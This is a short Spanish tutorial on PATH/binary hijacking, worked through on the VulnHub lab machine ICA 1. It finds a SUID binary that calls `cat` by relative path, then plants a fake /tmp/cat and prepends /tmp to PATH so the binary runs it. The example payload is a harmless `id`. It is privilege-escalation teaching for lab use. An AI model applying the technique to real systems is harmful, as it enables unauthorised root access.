# PATH/Binary Hijacking

Por ejemplo tenemos el siguiente caso de la máquina [ICA 1](https://www.vulnhub.com/entry/ica-1,748/). Luego de hacer una búsqueda de binarios cuyo permiso sea `uid`, aparece un archivo `/opt/get_access`. Si indagamos con `strings` el contenido legible de este archivo, tenemos:

{% code title="Salida de strings" %}

```sh
root@debian:/root# strings /opt/get_access | grep -n cat -A 5 -B 5 
11-_ITM_deregisterTMCloneTable
12-__gmon_start__
13-_ITM_registerTMCloneTable
14-u/UH
15-[]A\A]A^A_

16:cat /root/system.info # Esta parte nos interesa

17-Could not create socket to access to the system.
18-All services are disabled. Accessing to the system is allowed only within working hours.
19-;*3$"
20-GCC: (Debian 10.2.1-6) 10.2.1 20210110
21-crtstuff.c
```

{% endcode %}

Esa línea indica que el binario `cat` se invoca de forma relativa (es decir, sin ruta absoluta), lo que permite secuestrar la ejecución colocando un binario con ese nombre en una ruta previa en `PATH`. ¿Cómo hacerlo?

### Preparar: verificar la ruta absoluta de cat

Comprobamos la ruta absoluta del `cat` real:

{% code title="which cat" %}

```sh
root@debian:/root# which cat
/usr/bin/cat
```

{% endcode %}

Esto nos muestra que el `cat` legítimo está en `/usr/bin/cat`.

### Crear un ejecutable malicioso en /tmp

Creamos en `/tmp` un fichero llamado `cat` con el comportamiento que queramos (por ejemplo ejecutar `id` para validar información):

{% code title="Crear archivo /tmp/cat" %}

```sh
cd /tmp
echo 'id; #' > cat
chmod +x cat
```

{% endcode %}

Ahora `/tmp/cat` es ejecutable.

### Anteponer /tmp al PATH

Hacemos que el sistema busque primero en `/tmp` al resolver comandos:

{% code title="Exportar PATH" %}

```sh
export PATH=/tmp:$PATH
```

{% endcode %}

Con esto, cada vez que se invoque `cat` (sin ruta absoluta) se ejecutará `/tmp/cat` en lugar de `/usr/bin/cat`.

### Revertir cambios (opcional)

Para volver a la normalidad, restablece la variable `PATH` eliminando `/tmp:` de su inicio, por ejemplo reasignando la cadena original sin `/tmp:`:

```sh
# ejemplo: si antes PATH era /tmp:/usr/local/bin:/usr/bin:...
export PATH=/usr/local/bin:/usr/bin:...
```
